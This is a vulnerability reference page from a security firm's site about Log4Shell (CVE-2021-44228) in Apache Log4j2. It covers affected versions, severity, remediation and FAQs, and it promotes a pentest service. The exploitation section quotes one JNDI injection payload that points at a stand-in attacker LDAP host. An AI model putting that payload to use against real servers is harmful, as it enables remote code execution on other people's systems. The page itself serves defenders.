CVE-2021-44228: Log4Shell
A remote code execution vulnerability in Apache Log4j2's JNDI message lookup feature. An attacker who can get a single crafted string into anything Log4j2 logs, an HTTP header, a username field, or any other user-controlled input, can force the server to fetch and run attacker-controlled Java code over JNDI. It became one of the most widely and rapidly exploited vulnerabilities in internet history within days of disclosure.
View the authoritative record on NVD ↗Affected software
- Apache Log4j2 2.0-beta9 through 2.14.1
How it's exploited
Submit a string such as ${jndi:ldap://attacker.example/a} in any input Log4j2 logs; the JNDI lookup feature resolves it and loads attacker-controlled Java class data from the remote LDAP or RMI server.
Severity
CVE-2021-44228 carries a CVSS 3.1 base score of 10.0, rated Critical. See how CVSS scoring works or score a vulnerability yourself with the free CVSS calculator.
Weakness type
CVE-2021-44228 is categorized under CWE-502, CWE-917, CWE-20, the general weakness pattern behind this specific vulnerability.
How TurboPentest tests for this (white-box)
This weakness (Deserialization of Untrusted Data) is caught by white-box static analysis when you connect a GitHub repo: IntegSec's Opengrep SAST rule pack carries 18 rules for it, flagging the issue directly in your source code as part of the pentest.
Remediation
Upgrade to Log4j2 2.17.1 or later (2.12.4 / 2.3.2 on the legacy 2.12 / 2.3 branches). Where an immediate upgrade is not possible, remove the JndiLookup class from the classpath or set log4j2.formatMsgNoLookups=true.
Frequently asked questions
What is CVE-2021-44228?
A remote code execution vulnerability in Apache Log4j2's JNDI message lookup feature. An attacker who can get a single crafted string into anything Log4j2 logs, an HTTP header, a username field, or any other user-controlled input, can force the server to fetch and run attacker-controlled Java code over JNDI. It became one of the most widely and rapidly exploited vulnerabilities in internet history within days of disclosure.
How severe is CVE-2021-44228?
CVE-2021-44228 has a CVSS 3.1 base score of 10.0 out of 10, rated Critical.
What software is affected by CVE-2021-44228?
CVE-2021-44228 affects Apache Log4j2 2.0-beta9 through 2.14.1.
How do you fix CVE-2021-44228?
Upgrade to Log4j2 2.17.1 or later (2.12.4 / 2.3.2 on the legacy 2.12 / 2.3 branches). Where an immediate upgrade is not possible, remove the JndiLookup class from the classpath or set log4j2.formatMsgNoLookups=true.
Where is the authoritative record for CVE-2021-44228?
The National Vulnerability Database (NVD) publishes the authoritative record for CVE-2021-44228 at https://nvd.nist.gov/vuln/detail/CVE-2021-44228, including the current CVSS score, CWE mapping, and affected-configuration data.
Related CVEs
- CVSS 8.8 HighCVE-2017-0144: EternalBlue
- CVSS 10.0 CriticalCVE-2017-5638: Apache Struts Jakarta Multipart RCE
- CVSS 9.8 CriticalCVE-2018-7600: Drupalgeddon2
- CVSS 7.8 HighCVE-2022-30190: Follina
- CVSS 9.8 CriticalCVE-2022-26134: Atlassian Confluence OGNL RCE
- CVSS 9.0 CriticalCVE-2021-45046: Log4j Incomplete Fix (Log4Shell Follow-up)
About this reference
These security references are maintained by IntegSec, an offensive-security firm whose team holds CISSP, OSCP, and OSCE certifications and has run thousands of penetration tests. Content is kept current as tools, standards, and attack techniques evolve.
Find known-vulnerable services before an attacker does
TurboPentest fingerprints every open port and web service, then matches detected versions against known CVEs automatically, from $99 per target.
Start a pentest